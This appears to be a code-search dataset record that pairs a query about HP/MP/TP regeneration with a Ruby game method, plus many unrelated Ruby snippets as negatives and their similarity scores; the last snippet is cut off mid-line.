"def show_state\n if @life_points <= 0\n puts \">>> #{@name} a 0 points de vie\"\n else\n puts \">>> #{@name} a #{@life_points} points de vie\"\n end\n end",
"def show_state\n return \"#{@name} a #{life_points} points de vie et une amre de niveau #{weapon_level}\"\n end",
"def update_quitting_animation\n @buttons.each { |button| button.move(ENTERING_ANIMATION_OFFSET / ENTERING_ANIMATION_DURATION, 0) }\n @background.opacity -= 255 / ENTERING_ANIMATION_DURATION\n @counter += 1\n @running = false if @counter >= ENTERING_ANIMATION_DURATION\n end",
"def prevent_collapse_glitch\n battler_sprites.each do |spr|\n next unless spr.collapsing?\n spr.update_collapse_opacity\n end\n end",
"def state; end",
"def state; end",
"def state; end",
"def state; end",
"def state; end",
"def state; end",
"def state; end",
"def state; end",
"def next_menu_ok_tb \n @showing_temp_hls = false\n @menu_ok_tb = true\n end",
"def show_state\n\t\treturn \"#{self.name} a #{self.life_points} points de vie.\"\n\tend",
"def draw_effect\n end",
"def pre_enter(state_manager, game)\n # puts \"State : #{self.class}\"\n @exiting = false\n end",
"def pbHiddenMoveAnimation(pokemon)\n return false if !pokemon\n viewport=Viewport.new(0,0,0,0)\n viewport.z=99999\n bg=Sprite.new(viewport)\n bg.bitmap=BitmapCache.load_bitmap(\"Graphics/Pictures/hiddenMovebg\")\n sprite=PokemonSprite.new(viewport)\n sprite.setOffset(PictureOrigin::Center)\n sprite.setPokemonBitmap(pokemon)\n sprite.z=1\n sprite.visible=false\n strobebitmap=AnimatedBitmap.new(\"Graphics/Pictures/hiddenMoveStrobes\")\n strobes=[]\n 15.times do |i|\n strobe=BitmapSprite.new(26*2,8*2,viewport)\n strobe.bitmap.blt(0,0,strobebitmap.bitmap,Rect.new(0,(i%2)*8*2,26*2,8*2))\n strobe.z=((i%2)==0 ? 2 : 0)\n strobe.visible=false\n strobes.push(strobe)\n end\n strobebitmap.dispose\n interp=RectInterpolator.new(\n Rect.new(0,Graphics.height/2,Graphics.width,0),\n Rect.new(0,(Graphics.height-bg.bitmap.height)/2,Graphics.width,bg.bitmap.height),\n 10)\n ptinterp=nil\n phase=1\n frames=0\n begin\n Graphics.update\n Input.update\n sprite.update\n case phase\n when 1 # Expand viewport height from zero to full\n interp.update\n interp.set(viewport.rect)\n bg.oy=(bg.bitmap.height-viewport.rect.height)/2\n if interp.done?\n phase=2\n ptinterp=PointInterpolator.new(\n Graphics.width+(sprite.bitmap.width/2),bg.bitmap.height/2,\n Graphics.width/2,bg.bitmap.height/2,\n 16)\n end\n when 2 # Slide Jermon sprite in from right to centre\n ptinterp.update\n sprite.x=ptinterp.x\n sprite.y=ptinterp.y\n sprite.visible=true\n if ptinterp.done?\n phase=3\n pbPlayCry(pokemon)\n frames=0\n end\n when 3 # Wait\n frames+=1\n if frames>30\n phase=4\n ptinterp=PointInterpolator.new(\n Graphics.width/2,bg.bitmap.height/2,\n -(sprite.bitmap.width/2),bg.bitmap.height/2,\n 16)\n frames=0\n end\n when 4 # Slide Jermon sprite off from centre to left\n ptinterp.update\n sprite.x=ptinterp.x\n sprite.y=ptinterp.y\n if ptinterp.done?\n phase=5\n sprite.visible=false\n interp=RectInterpolator.new(\n Rect.new(0,(Graphics.height-bg.bitmap.height)/2,Graphics.width,bg.bitmap.height),\n Rect.new(0,Graphics.height/2,Graphics.width,0),\n 10)\n end\n when 5 # Shrink viewport height from full to zero\n interp.update\n interp.set(viewport.rect)\n bg.oy=(bg.bitmap.height-viewport.rect.height)/2\n phase=6 if interp.done? \n end\n for strobe in strobes\n strobe.ox=strobe.viewport.rect.x\n strobe.oy=strobe.viewport.rect.y\n if !strobe.visible\n randomY=16*(1+rand(bg.bitmap.height/16-2))\n strobe.y=randomY+(Graphics.height-bg.bitmap.height)/2\n strobe.x=rand(Graphics.width)\n strobe.visible=true\n elsif strobe.x<Graphics.width\n strobe.x+=32\n else\n randomY=16*(1+rand(bg.bitmap.height/16-2))\n strobe.y=randomY+(Graphics.height-bg.bitmap.height)/2\n strobe.x=-strobe.bitmap.width-rand(Graphics.width/4)\n end\n end\n pbUpdateSceneMap\n end while phase!=6\n sprite.dispose\n for strobe in strobes\n strobe.dispose\n end\n strobes.clear\n bg.dispose\n viewport.dispose\n return true\nend",
"def play_animation\n @forge_animator.play\n end",
"def increment_state!(medium)\n find_state(medium).increment!(:display_count)\n end",
"def priority() nil end",
"def command_to_title\n RPG::BGM.fade(800)\n RPG::BGS.fade(800)\n RPG::ME.fade(800)\n $scene = Scene_Title.new\n Graphics.fadeout(60)\n end",
"def update\n if @counter < TRANSITION_LENGHT\n @background.opacity = (@counter + 1) * 255 / TRANSITION_LENGHT\n elsif @counter < PHASE2\n base_x = (@counter - TRANSITION_LENGHT + 1) * @max_x * 3 / TEXT_MOVE_LENGHT\n @info_text.x = base_x + @info_ini_x\n @name_text.x = base_x + @name_ini_x\n elsif @counter.between?(PHASE3, PHASE_END)\n @info_text.opacity =\n @name_text.opacity = @background.opacity = (PHASE_END - @counter) * 255 / TRANSITION_LENGHT\n end\n @counter += 1\n end",
"def show_animation(options={})\n add_actor Gamework::Animation.new(options)\n end",
"def show_state\n puts \"#{self.name} a #{self.life_points} points de vie.\"\n end",
"def show_flop\r\n show_hand\r\n end",
"def show_state\n \tputs \"#{@name} a #{life_points} points de vie\"\n end",
"def show_state\n puts \"#{name} a #{life_points} points de vie !!\"\n end",
"def mapAnimDone \n \"mapAnimDone\" \n end",
"def update_graphics\n case @animation_state\n when 0\n animation_phase_1\n when 1\n if $pokemon_party.nuzlocke.enabled? && !@graveyard.empty?\n animation_phase_2\n else\n @animation_state += 1\n end\n when 2\n animation_phase_3\n when 3\n # Every animation is finished so there's only two things to update\n update_turning_ball\n update_end_stars_anim\n end\n end",
"def indicate_progress\n end",
"def priority_note; super; end",
"def maybe_promote\n if @color == :black && @position[0] == 0\n @king = true\n elsif @color == :red && @position[0] == 7\n @king = true\n end\n end",
"def show_state\n puts \"#{@name} a #{@life_points} de PV\"\n end",
"def top_down\n\t\t@roof_status = \"open\" if @convertible\n\tend",
"def init_visibility\n return if actor? && !@battler.data_battler.dead_key.empty?\n @battler_visible = !@battler.hidden? && (@battler.enemy? ? \n !@battler.collapsed : true)\n self.opacity = 0 unless @battler_visible\n end",
"def show_state\r\n puts \"#{@name} à #{@life_points} points de vie\"\r\n end",
"def setup_anim_follow\n $game_temp.anim_follow = default_true\n end",
"def show_state\n puts \"#{name} a #{life_points} points de vie!\"\n end",
"def flagging\n @title = 'Flags and their meaning'\n @css = 'flags.css'\n end",
"def pbDamageAnimation(battler, effectiveness = 0)\n # setup variables\n @briefmessage = false\n self.afterAnim = false\n self.wait(4, true)\n # play damage SE\n case effectiveness\n when 0; pbSEPlay(\"Battle damage normal\")\n when 1; pbSEPlay(\"Battle damage weak\")\n when 2; pbSEPlay(\"Battle damage super\")\n end\n # begin animation\n once = false\n @sprites[\"dataBox_#{battler.index}\"].damage\n (effectiveness == 2 ? 3 : 2).times do\n for i in 0...8\n ebDamageStateAnim(battler, effectiveness, i, once)\n self.wait(1, true)\n end\n once = true\n end\n # animations for triggering Substitute\n self.substitueAll([battler.index])\n end",
"def animtype(solve)\n solve.scramble.blank? ? \"reconstruction-end-with-setup\" : \"reconstruction\"\n end"
] |
[
"0.5742974",
"0.57253325",
"0.5711466",
"0.5669448",
"0.5612531",
"0.55577976",
"0.55549616",
"0.55260813",
"0.54716116",
"0.5442008",
"0.54149485",
"0.53197724",
"0.52732515",
"0.5239045",
"0.5223098",
"0.5187175",
"0.5166612",
"0.5166532",
"0.51636696",
"0.5132976",
"0.512626",
"0.5125025",
"0.5121188",
"0.5111893",
"0.5104518",
"0.5104436",
"0.5100768",
"0.5094204",
"0.5092358",
"0.50765145",
"0.5060212",
"0.50515515",
"0.50372916",
"0.5036692",
"0.50271815",
"0.5025703",
"0.50198424",
"0.5015791",
"0.5011197",
"0.50005287",
"0.4998813",
"0.49880973",
"0.49834964",
"0.4976317",
"0.49679214",
"0.49679214",
"0.4967703",
"0.49576995",
"0.4954019",
"0.49525988",
"0.4947985",
"0.49423558",
"0.49271458",
"0.4926558",
"0.49263445",
"0.49263445",
"0.49251193",
"0.49192092",
"0.49147344",
"0.49137074",
"0.49066457",
"0.49041966",
"0.49015978",
"0.49007887",
"0.49007887",
"0.49007887",
"0.49007887",
"0.49007887",
"0.49007887",
"0.49007887",
"0.49007887",
"0.4894342",
"0.48881018",
"0.4877814",
"0.487711",
"0.4870577",
"0.48610085",
"0.48577422",
"0.48574325",
"0.48556343",
"0.48523507",
"0.48505574",
"0.48497468",
"0.48480746",
"0.48477912",
"0.4844865",
"0.48334247",
"0.48307368",
"0.48263872",
"0.48224857",
"0.48184505",
"0.48179352",
"0.48135892",
"0.48131827",
"0.48106894",
"0.4806787",
"0.48067242",
"0.4806621",
"0.48030576",
"0.4796089"
] |
0.5411273
|
11
|
apply regen for hp, mp and tp
|
def apply_regen_state(state, type)
random = state.tool_data("State Effect Rand Rate = ")
random = 120 if random.nil?
if rand(random) == 1
battler.regenerate_hp if type == 7
battler.regenerate_mp if type == 8
battler.regenerate_tp if type == 9
if type == 7 and battler.result.hp_damage == 0
@colapse_time = 80
battler.add_state(1)
return
end
type == 9 ? pop_damage("Tp Up!") : pop_damage
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def regress(x,y)\n weights = Array.new(x.length)\n for f in 0..(x.length - 1)\n weights[f] = WeightedFeature.new(x[f].name,0.0)\n end\n w0 = 0.0\n weight_magnitude = 0\n old_gradient = 0\n gradient = 0\n begin\n weight_magnitude = 0\n old_gradient = gradient\n gradient = 0\n old_weights = weights.clone\n h_ary = Array.new\n w0sum = 0\n for j in 0..(x[0].length - 1) #loop over training examples\n z = w0\n for k in 0..(x.length - 1) #calculate weightsT * X\n z += old_weights[k].weight*x[k][j]\n end\n h_ary[j] = 1 / (1 + Math.exp(-z)) #calculate and store hypotheses\n w0sum += (y[j] - h_ary[j])\n end\n for i in 0..(x.length - 1) #update features\n wisum = 0\n for j in 0..(x[0].length - 1) #loop over training examples\n wisum += x[i][j]*(y[j] - h_ary[j]) #recall precomputed hypotheses\n end\n wisum = wisum - (old_weights[i].weight / SIGMA**2)\n weights[i].weight = old_weights[i].weight + ETA*wisum\n weight_magnitude += weights[i].weight**2\n gradient += wisum**2\n end\n w0sum = w0sum - (w0 / SIGMA**2)\n w0 = w0 + ETA*w0sum\n gradient += w0sum**2\n gradient = gradient**(1.0/2)\n weight_magnitude = weight_magnitude**(1.0/2)\n end while((old_gradient - gradient).abs > EPSILON)\n weights.w0 = w0\n return weights\nend",
"def make_hp_regeneration\n @superman.hp_pool += @superman.hp_regen\n @batman.hp_pool += @batman.hp_regen\n end",
"def register(&prc)\n @eff.perform prc\n end",
"def ht_special_rule\n ht = @members.select { |m| m.member_id == 'hathitrust' }[0];\n if !ht.nil? then\n @members.delete_if { |m| m.member_id == 'hathitrust' };\n ht_cost = ht.costs[:spm] + ht.costs[:mpm] + ht.costs[:ser] + ht.costs[:pd];\n ht_cost_per_pd_member = ht_cost.to_f / @participate_in_pd;\n deet(\"ht_cost\\t#{ht_cost}\");\n deet(\"ht_cost_per_pd_member\\t#{ht_cost_per_pd_member}\");\n @members.each do |m|\n if m.participates_in_pd then\n m.costs[:extra] += ht_cost_per_pd_member;\n end\n end\n end\n end",
"def ht_special_rule\n ht = @members.select { |m| m.member_id == 'hathitrust' }[0];\n if !ht.nil? then\n @members.delete_if { |m| m.member_id == 'hathitrust' };\n ht_cost = ht.costs[:spm] + ht.costs[:mpm] + ht.costs[:ser] + ht.costs[:pd];\n ht_cost_per_pd_member = ht_cost.to_f / @participate_in_pd;\n @deet.file.puts \"ht_cost\\t#{ht_cost}\";\n @deet.file.puts \"ht_cost_per_pd_member\\t#{ht_cost_per_pd_member}\";\n @members.each do |m|\n if m.participates_in_pd then\n m.costs[:extra] += ht_cost_per_pd_member;\n end\n end\n end\n end",
"def withRestr(_rule, minbs, maxbs, legendary)\r\n ret = PokemonChallengeRules.new.addPokemonRule(BaseStatRestriction.new(minbs, maxbs))\r\n if legendary == 0\r\n ret.addPokemonRule(NonlegendaryRestriction.new)\r\n elsif legendary == 1\r\n ret.addPokemonRule(InverseRestriction.new(NonlegendaryRestriction.new))\r\n end\r\n return ret\r\nend",
"def krr_short()\n\tputs 'KRR_short'\n\n\twidth=0.8; tau=1e-6\n# *** \tkrr=KernelRidgeRegression(tau, GaussianKernel(0, width), RegressionLabels(label_train))\n\tkrr=Modshogun::KernelRidgeRegression.new(tau, GaussianKernel(0, width), RegressionLabels(label_train))\n\t#krr.set_features(tau, GaussianKernel(0, width), RegressionLabels(label_train))\n\tkrr.train(RealFeatures(fm_train))\n\tout = Modshogun::RegressionLabels.obtain_from_generic(krr.apply(RealFeatures(fm_test)).get_labels())\n\n\treturn krr,out\n\nend",
"def newRegressor\r\n\t\t@trained\t\t= false\r\n\t\t@lr \t\t\t= RubyLinearRegression.new\r\n\t\tputs trainingData.getDataStructure(useHash).first\r\n\t\t@lr.load_training_data trainingData.getDataStructure(useHash), trainingDataAsArray\r\n\tend",
"def method_missing(sym, *args)\n raise if sym == :reg\n emit(sym, *args)\n end",
"def pow_tgh=(pt)\n return if pt.nil?\n self.pow = pt[0]\n self.tgh = pt[1]\n end",
"def modeler_description\n 'Change R-value of Insulation Layer for Construction By a Multiplier'\n end",
"def add(d, s, t)\n reg_w(d, reg_r(s) + reg_r(t))\n adv_pc\n end",
"def apply plataform\n\n end",
"def r2\n @n_predictors.times.inject(0) {|ac,i| ac+@coeffs_stan[i]* @matrix_y[i,0]} \n end",
"def repackage_regimens_for_tb_patients!(regimens, patient_weight)\n %w[12PP 12PA 12A 13A 14PP 14PA 14A 15PP 15PA 15A].each do |regimen_name|\n regimen = regimens[regimen_name]\n next unless regimen\n\n if regimen_name == '13A'\n inject_dtg_into_regimen!(regimen, patient_weight)\n else\n double_dose_dtg_in_regimen!(regimen)\n end\n end\n end",
"def regulations=(value)\n @regulations = value\n end",
"def set_rhoo\n calc_ptemp\n calc_rhoo\n end",
"def evaluate\n @output_value = Math.tanh(@input_value - @bias)\n #p \"output value #{@output_value}\"\n @forward_nodes.each do |node, weight|\n #p \"weight #{weight} old input #{node.input_value}\"\n node.input_value += @output_value * weight\n #p \"new input #{node.input_value}\"\n end\n @input_value = 0\n end",
"def calculate(policy, mrg)\n case policy\n when 'Flexible'\n base_price * mrg\n when 'Fixed'\n base_price + mrg\n when 'Prestige'\n base_price + mrg\n end\n end",
"def calc_t1(price, tip, tax)\n tax_amount = price * tax\n tip_amount = price * tip\n price + tip_amount + tax_amount\nend",
"def fit\n @coefficients = [1.0, 2.0]\n end",
"def fit\n @coefficients = [1.0, 2.0]\n end",
"def calculated_price\n msrp\n end",
"def update_base_predictors(user,film,error,learn_rate,f_regulator)\r\n mu=SVD_param.find_by_name(@global_predictor_str)\r\n mu.value=mu.value + error*learn_rate\r\n user.base_predictor=user.base_predictor+(error*learn_rate - f_regulator*user.base_predictor)\r\n film.base_predictor=film.base_predictor+(error*learn_rate - f_regulator*film.base_predictor)\r\n mu.save\r\n user.save\r\n film.save\r\n end",
"def mult(s, t)\n @lo = ((reg_r(s) * reg_r(t)) << 32) >> 32\n @lo = (reg_r(s) * reg_r(t)) >> 32\n\n adv_pc\n end",
"def fit=(_arg0); end",
"def compute_es(_T)\n #equation 11\n #t units are celsius, es units are kPa\n es = 0.6108 * Math.exp((17.27 * _T) / (_T + 237.3))\nend",
"def rec_exp_1(base, power)\nend",
"def compute_optimized\n check_frequencies \n t=Statsample::STATSAMPLE__.tetrachoric(@a,@b,@c,@d)\n raise \"Error on calculation of tetrachoric correlation: #{t[:ifault]}\" if t[:ifault]>0\n @r,@sdr,@itype,@ifault,@zab, @zac = t[:r],t[:sdr],t[:itype],t[:ifault], t[:threshold_x], t[:threshold_y]\n end",
"def schreiner_equation(p_inert, p_alv, half_time, r_amb, dt)\n k = Math.log(2) / half_time\n p_alv + r_amb * ( dt - 1.0 / k ) - ( p_alv - p_inert - r_amb / k ) * Math.exp( -k * dt )\n end",
"def addTerm(coeff, constr); end",
"def fcn(flag,pars,derivs)\n chi2 = 0.0;\n @data_pts.each{|pt| \n val = @min_block.call(pt.vars,pars)\n chi2 += ((pt.value - val)/pt.error)**2\n } \n return chi2\n end",
"def exp_for_level(lv, s = self); @exp_formula.call(lv, s); end",
"def prediction_power( token )\n e1 = 0.0\n e0 = 0.0\n system_total = get_system_total\n max_token_count = get_max_system_token_count\n e0 = system_total - max_token_count[1]\n \n get_pool_names.each do |pool_name|\n\te1 += ( get_token_total(token) - get_token_counts(token, pool_name) )\n end\n return [e1,e0,1-(e1/e0)]\n end",
"def fit; end",
"def compute(*inputs)\n if inputs.length != number_of_inputs\n raise WrongNumberOfInputsError, \"Expected #{number_of_inputs} inputs, got #{inputs.length}\"\n end\n\n # Stash these in instance variables so we can use them for training later\n @medin = []\n @medout = []\n\n outputs = []\n\n number_of_medial_neurons.times do |i|\n @medin[i] = 0\n number_of_inputs.times do |j|\n @medin[i] += @synone[j][i] * inputs[j]\n end\n @medout[i] = Math.tanh(@medin[i])\n end\n\n number_of_outputs.times do |i|\n outputs[i] = 0\n number_of_medial_neurons.times do |j|\n outputs[i] += @syntwo[j][i] * @medout[j]\n end\n end\n\n outputs\n end",
"def win_hp\n maxhp * features_sum(:hp_on_win)\n end",
"def calculate\n candidates = []\n\n generalized_cause = NLU::Generalization.new(symbols: @symbols).generalize(@cause)\n\n #ap \"sentence: #{cause_sentence}\"\n #ap \"learned: #{@learned.inspect}\"\n\n # We go through everything that was learned before\n @learned.each do |function_name, criteria|\n criteria[:generalizations].each do |generalization|\n\n # We generate a pre-candidate for this generalization. It starts\n # with score zero because we don't know yet whether this criteria\n # fits the sentence or not.\n local_candidate = {\n fn: function_name,\n attrs: { },\n score: 0.0\n }\n\n #ap \"generalized_cause #{generalized_cause}\"\n\n # We then generalize the cause sentence and go through it.\n # We will match *each* learned generalization against the cause\n # generalization.\n generalized_cause.each_with_index do |cause_rule, cause_index|\n\n\n # Wildcard\n #\n # Matches these:\n #\n # > i want a [type:wildcard:some_name_for_this_wildcard]\n # > i want a ford\n #\n wildcard = \"[#{NLU::Generalization::RESERVED_TYPES[:wildcard]}]\"\n #ap \"wildcard: #{wildcard}\"\n wildcard_regex = Regexp.escape(wildcard)\n if generalization =~ /wildcard/i\n wildcard_generalization = generalization\n .gsub(/\\[(type:wildcard)(.+)\\]/i, '[\\1]')\n end\n #ap \"wildcard_generalization(#{wildcard_generalization}) =~ cause_rule(#{wildcard_regex})\"\n if wildcard_generalization.to_s =~ Regexp.new(wildcard_regex, Regexp::IGNORECASE)\n #ap \"true -> #{wildcard_generalization} =~ /#{Regexp.new(wildcard_regex, Regexp::IGNORECASE)}/i\"\n\n rule = wildcard_generalization.gsub(\"#{wildcard}\", \"(.+)\")\n #ap \"rule #{rule}\"\n #binding.pry\n if value = cause_sentence.join(\" \").match(Regexp.new(rule, Regexp::IGNORECASE))\n value = value[-1]\n prop = attr_name_from_type_param(generalization)\n\n local_candidate = local_candidate.merge({\n attrs: {\n prop => value\n },\n score: 0.75\n })\n end\n\n # If we find a learned generalization that matches the generalized\n # sentence, we will save it.\n elsif generalization == cause_rule\n cause_rule.split(\" \").each_with_index do |typed_string, index|\n\n # If the learned generalization has a type anywhere, we will\n # check what is the corresponding word in the cause sentence.\n #\n # For example, consider the following sentence:\n #\n # [type:subject] want a [type:make]\n #\n # and the sentence\n #\n # I want a ford\n #\n # Finding `[type:make]` at position 3 of the array, we will\n # get `ford` at the position 3 of the cause sentence. With\n # that we can come up with `{make: 'ford'}`.\n #\n if typed_string =~ /\\[type/i\n local_candidate[:score] += 1\n type = attr_name_from_type_param(typed_string)\n prop = type_properties(type)\n type_token_length = prop[:token_length]\n\n # In `i want a car`, this will get the `i`. If the type\n # says instead that it's formed by two symbols (e.g\n # `i want`), then it will take `i want`.\n #\n # The -1 in the brackets is because otherwise it would be\n # translated to the following if the type had 1 symbol\n #\n # cause_sentence[1..1+1]\n #\n # That would take 2 words (`[1..2]`). We want one word, so\n #\n # cause_sentence[1..1+1-1]\n #\n word_for_type = cause_sentence[index..index+(type_token_length-1)]\n #ap \"> type: #{type} - #{index} #{cause_sentence[index..index+type_token_length]}\"\n\n local_candidate[:attrs][type] = word_for_type.join(\" \")\n\n # When it's just the same sentence as one seen before, no\n # generalizations\n else\n local_candidate[:score] = 1\n end\n end\n\n end\n end\n\n if local_candidate[:score] > 0\n candidates << local_candidate\n end\n end\n end\n\n # TODO - normalization is taking out some elements that are good.\n #candidates = normalize_scores(candidates)\n candidates = pick_candidates(candidates)\n candidates = merge_attributes(candidates)\n\n candidates\n end",
"def _reduce_21(val, _values, result)\n result = H1.new(val[1]) \n result\nend",
"def process_dregx exp\n exp.each { |arg| process arg if sexp? arg }\n\n add_simple_call :railroader_regex_interp, exp\n\n exp\n end",
"def skill_tp_cost(skill)\r\n skill.tp_cost\r\n end",
"def compute(phase)\n input = 0\n total_thrust = 0\n\n phase.each do |p|\n clean_opcode = @opcode.clone\n inputs = [p, input]\n phase_setting = Intcode.new.runner(clean_opcode, 0, inputs)\n total_thrust = phase_setting[:out].last\n input = total_thrust\n end\n total_thrust\n end",
"def recall\n @values.fetch(:tp) / Float(@values.fetch(:tp) + @values.fetch(:fn))\n end",
"def calculate_model_price\n @group.calculate_model_price(model_params[:model_type_name], model_params[:base_price])\n end",
"def regulations\n return @regulations\n end",
"def softmax(values)\n denominator = values.collect {|v| Math.exp(v / @temperature)}.reduce(:+)\n values.collect {|v| Math.exp(v / @temperature) / denominator}\n end",
"def mrf; xparam(5); end",
"def extended_regexps!\n @hsh = self.class.er(@hsh)\n end",
"def hw_predict(name, args)\n raise \":data is needed as an argument to a Holt-Winters Confidence forecast\" unless args[:data]\n\n unless args[:forecast_line] == false\n forecast_args = args.clone\n forecast_args[:data] = \"holtWintersForecast(#{forecast_args[:data]})\"\n forecast_args[:alias] = \"#{args[:alias]} Forecast\"\n forecast_args[:color] = args[:forecast_color] || \"blue\"\n field \"#{name}_forecast\", forecast_args\n end\n\n unless args[:bands_lines] == false\n bands_args = args.clone\n bands_args[:data] = \"holtWintersConfidenceBands(#{bands_args[:data]})\"\n bands_args[:color] = args[:bands_color] || \"grey\"\n bands_args[:dashed] = true\n bands_args[:alias] = \"#{args[:alias]} Confidence\"\n field \"#{name}_bands\", bands_args\n end\n\n if args[:aberration_line]\n aberration_args = args.clone\n aberration_args[:data] = \"holtWintersAberration(keepLastValue(#{aberration_args[:data]}))\"\n aberration_args[:color] = args[:aberration_color] || \"orange\"\n aberration_args[:alias] = \"#{args[:alias]} Aberration\"\n aberration_args[:second_y_axis] = true if aberration_args[:aberration_second_y]\n field \"#{name}_aberration\", aberration_args\n end\n\n if args[:critical]\n color = args[:critical_color] || \"red\"\n critical :value => args[:critical], :color => color, :name => name\n end\n\n if args[:warning]\n color = args[:warning_color] || \"orange\"\n warning :value => args[:warning], :color => color, :name => name\n end\n\n args[:color] ||= \"yellow\"\n\n field name, args unless args[:actual_line] == false\n end",
"def virus_effects #looks DRY but not using the full scope of the variables \r\n predicted_deaths\r\n speed_of_spread\r\n end",
"def initialize data, target, parameters\r\n\t\tsuper(data, target, parameters)\r\n\t\t@silentMode\t\t\t= !(parameters[:silentMode] || false)\r\n\t\t@gradientModel\t\t= parameters[:gradientDescent] || false\r\n\t\tnewRegressor\r\n\tend",
"def calc_apply_var(p1)\n p1.tmp[:apply_attack] = 0 if !p1.tmp[:apply_attack]\n p1.tmp[:apply_dodge] = 0 if !p1.tmp[:apply_dodge]\n p1.tmp[:apply_damage] = 0 if !p1.tmp[:apply_damage]\n p1.tmp[:apply_defense] = 0 if !p1.tmp[:apply_defense]\n p1.tmp[:apply_dodge] = 0-p1.query_all_weight\n if (p1.hasWeapon?)\n p1.tmp[:apply_damage] = p1.query_weapon_damage\n else\n p1.tmp[:apply_damage] = 5 # unarmed damage\n end\n \n p1.tmp[:apply_defense] = p1.query_armo_defense\n end",
"def trendables\n key :divergence, Float\n key :obp, Float\n end",
"def summary\r\n \r\n @ph_product = PhProduct.find(params[:ph_result_id])\r\n @product = @ph_product.product\r\n @step = 1 \r\n if @ph_product.ph_intermediate_result \r\n if !@ph_product.ph_result\r\n ph_result = PhResult.new \r\n ph_result.ph_product_id = @ph_product.id\r\n ph_result.save\r\n @ph_product.ph_result = ph_result\r\n end\r\n @ph_result = @ph_product.ph_result\r\n if !@ph_product.ph_maintenance_result \r\n ph_maintenance_result = PhMaintenanceResult.new \r\n ph_maintenance_result.ph_product_id = @ph_product.id\r\n ph_maintenance_result.save\r\n @ph_product.ph_maintenance_result = ph_maintenance_result \r\n end\r\n @ph_maintenance_result = @ph_product.ph_maintenance_result \r\n if !@ph_product.ph_embedded_result \r\n ph_embedded_result = PhEmbeddedResult.new \r\n ph_embedded_result.ph_product_id = @ph_product.id\r\n ph_embedded_result.save\r\n @ph_product.ph_embedded_result = ph_embedded_result \r\n end\r\n @ph_embedded_result = @ph_product.ph_embedded_result \r\n \r\n\r\n @ph_embedded_result.temperature_induced = 0\r\n temp = 0\r\n if @ph_product.ph_specified.ph_module_type.name == 'amorphous Silicon'\r\n temp = -0.13\r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'polycrystalline Silicon'\r\n temp = -0.4465\r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'monocrystalline Silicon'\r\n temp = -0.402545\r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'CdTe Thinfilm'\r\n temp = -0.25 \r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'CIS/CIGS Thinfilm'\r\n temp = -0.43666\r\n end \r\n \r\n # =(Assumptions!$I$11-25)*IF(Assumptions!G19=Menues!A2,Menues!A122,IF(Assumptions!G19=Menues!A3,Menues!B122,IF(Assumptions!G19=Menues!A4,Menues!C122,IF(Assumptions!G19=Menues!A5,Menues!D122,IF(Assumptions!G19=Menues!A6,Menues!E122,0))))) \r\n \r\n @ph_embedded_result.temperature_induced = temp * (@ph_product.ph_basic_information.temperature - 25) \r\n calcul_efficiency = @ph_product.ph_specified.efficiency * (1 + (@ph_embedded_result.temperature_induced / 100))\r\n \r\n ph_database_material_values = PhDatabaseMaterialValue.find(:all, :conditions => [\"ph_product_id = ?\", @ph_product.id])\r\n ph_database_material_values.each do |ph_database_material_value|\r\n ph_database_material_value.delete\r\n end \r\n\r\n @ph_database_materials = PhDatabaseMaterial.all \r\n @ph_database_materials.each do |ph_database_material|\r\n if ph_database_material.default_value_co2 == 0\r\n calculate_co2 ph_database_material, @ph_product\r\n end\r\n if ph_database_material.default_value_pe == 0\r\n calculate_pe ph_database_material, @ph_product\r\n end \r\n end\r\n @ph_database_material_values = PhDatabaseMaterialValue.find(:all, :conditions => [\"ph_product_id = ?\", @ph_product.id])\r\n \r\n n49 = 0\r\n if @ph_product.ph_specified.area_unit\r\n n49 = @ph_product.ph_specified.area * @ph_product.ph_specified.area_unit.conversion_factor\r\n end\r\n \r\n if @ph_product.ph_basic_information.known == 'both' || @ph_product.ph_basic_information.known == 'power_demand'\r\n #Menues!N56*Assumptions!F39\r\n @ph_result.lifetime = 0\r\n n56 = 0\r\n #=IF($Assumptions.G19=$Menues.A7;0;\r\n if @ph_product.ph_specified.ph_module_type.name != 'Not specified'\r\n if @ph_product.ph_specified.power_unit.conversion_factor == -1 \r\n # Peak Power [kWp]\r\n conversion_factor = @ph_product.ph_basic_information.radiation * @ph_product.ph_basic_information.performance_ratio\r\n n56 = @ph_product.ph_specified.power * conversion_factor\r\n else \r\n n56 = @ph_product.ph_specified.power * @ph_product.ph_specified.power_unit.conversion_factor\r\n end \r\n @ph_result.lifetime = n56 * @ph_product.ph_specified.lifetime\r\n # @ph_result.lifetime = @ph_product.ph_specified.power * @ph_product.ph_specified.power_unit.conversion_factor\r\n end\r\n else \r\n #Menues!N49*(Assumptions!F38/100)*Assumptions!I15*Assumptions!I9*Assumptions!F39 \r\n @ph_result.lifetime = n49 * (calcul_efficiency / 100) * @ph_product.ph_basic_information.performance_ratio * @ph_product.ph_basic_information.radiation * @ph_product.ph_specified.lifetime\r\n \r\n end\r\n # New requirement\r\n if @ph_product.ph_basic_information.working == 'yes' && @ph_product.ph_basic_information.know_power == 'yes' \r\n @ph_result.lifetime = @ph_product.ph_basic_information.user_power * @ph_product.ph_specified.lifetime\r\n end \r\n\r\n \r\n #IF($Assumptions.E35=$Menues.G41;$Assumptions.D35*$Menues.E60;IF($Assumptions.E35=$Menues.G42;$Assumptions.D35;IF($Assumptions.E35=G43;$Menues.E59*$Assumptions.D35;IF($Assumptions.E35=$Menues.G44;$Menues.E58*$Assumptions.D35;IF($Assumptions.E35=$Menues.G45;$Menues.E61*$Assumptions.D35;0)))));0))\r\n\r\n @ph_result.cabling = 0\r\n temp = 0\r\n if @ph_product.ph_basic_information.ph_mounting_type.name == 'On Roof - Mounted' || @ph_product.ph_basic_information.ph_mounting_type.name == 'On Roof - Integrated'\r\n temp = get_database_material_result_co2 'Electrical Cabling', 'Roof Mounted System', @ph_product \r\n end \r\n if @ph_product.ph_basic_information.ph_mounting_type.name == 'Facade - Integrated' || @ph_product.ph_basic_information.ph_mounting_type.name == 'Facade - Mounted'\r\n temp = get_database_material_result_co2 'Electrical Cabling', 'Facade Mounted System', @ph_product\r\n end \r\n if @ph_product.ph_basic_information.ph_mounting_type.name == 'Open Ground'\r\n temp = get_database_material_result_co2 'Electrical Cabling', 'Ground Mounted System', @ph_product\r\n end \r\n @ph_result.cabling = temp * @ph_product.ph_intermediate_result.module_area\r\n\r\n # ph_result module\r\n @ph_result.module = 